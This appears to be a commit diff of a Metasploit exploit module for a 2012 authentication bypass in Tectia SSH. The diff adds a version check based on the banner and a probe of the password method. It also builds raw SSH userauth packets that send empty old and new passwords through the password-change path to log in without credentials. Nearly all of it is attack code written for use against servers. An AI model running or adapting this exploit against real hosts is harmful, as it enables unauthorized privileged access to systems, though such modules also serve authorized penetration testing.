@@ -48,7 +48,7 @@ def initialize(info={})
48
48
'Arch' => ARCH_CMD ,
49
49
'Targets' =>
50
50
[
51
- [ 'Unix-based Tectia SSH 6.3.2.33 or prior' , { } ] ,
51
+ [ 'Unix-based Tectia SSH 6.3 or prior' , { } ]
52
52
] ,
53
53
'Privileged' => true ,
54
54
'DisclosureDate' => "Dec 01 2012" ,
@@ -63,19 +63,50 @@ def initialize(info={})
63
63
64
64
register_advanced_options (
65
65
[
66
- OptBool . new ( 'SSH_DEBUG' , [ false , 'Enable SSH debugging output (Extreme verbosity!)' , false ] ) ,
67
66
OptInt . new ( 'SSH_TIMEOUT' , [ false , 'Specify the maximum time to negotiate a SSH session' , 30 ] )
68
67
]
69
68
)
70
69
end
71
70
72
71
def check
73
72
connect
74
- banner = sock . get_once
75
- print_status ( "#{ rhost } :#{ rport } - #{ banner } " )
73
+ banner = sock . get_once . strip
74
+ print_status ( "#{ rhost } :#{ rport } - Banner: #{ banner } " )
76
75
disconnect
77
76
78
- return Exploit ::CheckCode ::Appears if banner =~ /SSH Tectia/
77
+ # Vulnerable version info obtained from CVE
78
+ version = banner . scan ( /\- (\d \. \d \. \d *).+SSH Tectia/ ) . flatten [ 0 ] || ''
79
+ build = version . split ( '.' ) [ -1 ] . to_i
80
+
81
+ case version
82
+ when /^6\. 0/
83
+ unless ( 4 ..14 ) . include? ( build ) or ( 17 ..20 ) . include? ( build )
84
+ return Exploit ::CheckCode ::Safe
85
+ end
86
+
87
+ when /^6\. 1/
88
+ unless ( 0 ..9 ) . include? ( build ) or build == 12
89
+ return Exploit ::CheckCode ::Safe
90
+ end
91
+
92
+ when /^6\. 2/
93
+ unless ( 0 ..5 ) . include? ( build )
94
+ return Exploit ::CheckCode ::Safe
95
+ end
96
+
97
+ when /^6\. 3/
98
+ unless ( 0 ..2 ) . include? ( build )
99
+ return Exploit ::CheckCode ::Safe
100
+ end
101
+ else
102
+ return Exploit ::CheckCode ::Safe
103
+ end
104
+
105
+ # The vulnerable version must use PASSWORD method
106
+ user = Rex ::Text . rand_text_alpha ( 4 )
107
+ transport , connection = init_ssh ( user )
108
+ return Exploit ::CheckCode ::Vulnerable if is_passwd_method? ( user , transport )
109
+
79
110
return Exploit ::CheckCode ::Safe
80
111
end
81
112
@@ -87,54 +118,41 @@ def rport
87
118
datastore [ 'RPORT' ]
88
119
end
89
120
90
- #
91
- # This is where the login begins. We're expected to use the keyboard-interactive method to
92
- # authenticate, but really all we want is skipping it so we can move on to the password
93
- # method authentication.
94
- #
95
- def auth_keyboard_interactive ( user , transport )
96
- print_status ( "#{ rhost } :#{ rport } - Going through keyboard-interactive auth..." )
97
- auth_req_pkt = Net ::SSH ::Buffer . from (
98
- :byte , 0x32 , #userauth request
99
- :string , user , #username
100
- :string , "ssh-connection" , #service
101
- :string , "keyboard-interactive" , #method name
102
- :string , "" , #lang
103
- :string , ""
104
- )
121
+ def is_passwd_method? ( user , transport )
122
+ # A normal client is expected to send a ssh-userauth packet.
123
+ # Without it, the module can hang against non-vulnerable SSH servers.
124
+ transport . send_message ( transport . service_request ( "ssh-userauth" ) )
125
+ message = transport . next_message
105
126
106
- user_auth_pkt = Net ::SSH ::Buffer . from (
107
- :byte , 0x3D , #userauth info
108
- :raw , 0x01 , #number of prompts
109
- :string , "" , #password
110
- :raw , "\0 " *32 #padding
111
- )
127
+ # 6 means SERVICE_ACCEPT
128
+ if message . type != 6
129
+ print_error ( "Unexpected message: #{ message . inspect } " )
130
+ return false
131
+ end
112
132
113
- transport . send_message ( auth_req_pkt )
114
- message = transport . next_message
115
- vprint_status ( "#{ rhost } :#{ rport } - Authentication to continue: keyboard-interactive" )
133
+ # We send this packet as an attempt to see what auth methods are available.
134
+ # The only auth method we want is PASSWORD.
135
+ pkt = Net ::SSH ::Buffer . from (
136
+ :byte , 0x32 , #userauth request
137
+ :string , user , #username
138
+ :string , "ssh-connection" , #service
139
+ :string , "password" #method name
140
+ )
141
+ pkt . write_bool ( true )
142
+ pkt . write_string ( "" ) #Old pass
143
+ pkt . write_string ( "" ) #New pass
116
144
145
+ transport . send_message ( pkt )
117
146
message = transport . next_message
118
- vprint_status ( "#{ rhost } :#{ rport } - Password prompt: #{ message . inspect } " )
119
147
120
- # USERAUTH INFO
121
- transport . send_message ( user_auth_pkt )
122
- message = transport . next_message
123
- vprint_status ( "#{ rhost } :#{ rport } - Auths that can continue: #{ message . inspect } " )
124
-
125
- 2 . times do |i |
126
- #USRAUTH REQ
127
- transport . send_message ( auth_req_pkt )
128
- message = transport . next_message
129
- vprint_status ( "#{ rhost } :#{ rport } - Password prompt: #{ message . inspect } " )
130
-
131
- # USERAUTH INFO
132
- transport . send_message ( user_auth_pkt )
133
- message = transport . next_message
134
- vprint_status ( "#{ rhost } :#{ rport } - Auths that can continue: #{ message . inspect } " )
148
+ # Type 51 means the server is trying to tell us what auth methods are allowed.
149
+ if message . type == 51 and message . to_s !~ /password/
150
+ print_error ( "#{ rhost } :#{ rport } - This host does not use password method authentication" )
151
+ return false
135
152
end
136
- end
137
153
154
+ return true
155
+ end
138
156
139
157
#
140
158
# The following link is useful to understand how to craft the USERAUTH password change
@@ -155,7 +173,7 @@ def userauth_passwd_change(user, transport, connection)
155
173
156
174
transport . send_message ( pkt )
157
175
message = transport . next_message . type
158
- vprint_status ( "#{ rhost } :#{ rport } - Auths that can continue: #{ message . inspect } " )
176
+ print_status ( "#{ rhost } :#{ rport } - Auths that can continue: #{ message . inspect } " )
159
177
160
178
if message . to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
161
179
transport . send_message ( transport . service_request ( "ssh-userauth" ) )
@@ -169,23 +187,26 @@ def userauth_passwd_change(user, transport, connection)
169
187
end
170
188
end
171
189
172
- def do_login ( user )
173
- opts = { :user => user , :record_auth_info => true }
190
+ def init_ssh ( user )
191
+ opts = { :user => user , :record_auth_info => true , :port => rport }
174
192
options = Net ::SSH ::Config . for ( rhost , Net ::SSH ::Config . default_files ) . merge ( opts )
175
193
transport = Net ::SSH ::Transport ::Session . new ( rhost , options )
176
194
connection = Net ::SSH ::Connection ::Session . new ( transport , options )
177
- auth_keyboard_interactive ( user , transport )
178
- userauth_passwd_change ( user , transport , connection )
195
+
196
+ return transport , connection
179
197
end
180
198
181
- def exploit
182
- # Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
183
- # engaging a variety of SSHD targets on a network.
184
- if check != Exploit ::CheckCode ::Appears
185
- print_error ( "#{ rhost } :#{ rport } - Host does not seem vulnerable, will not engage." )
186
- return
199
+ def do_login ( user )
200
+ transport , connection = init_ssh ( user )
201
+ passwd = is_passwd_method? ( user , transport )
202
+
203
+ if passwd
204
+ conn = userauth_passwd_change ( user , transport , connection )
205
+ return conn
187
206
end
207
+ end
188
208
209
+ def exploit
189
210
c = nil
190
211
191
212
begin
0 commit comments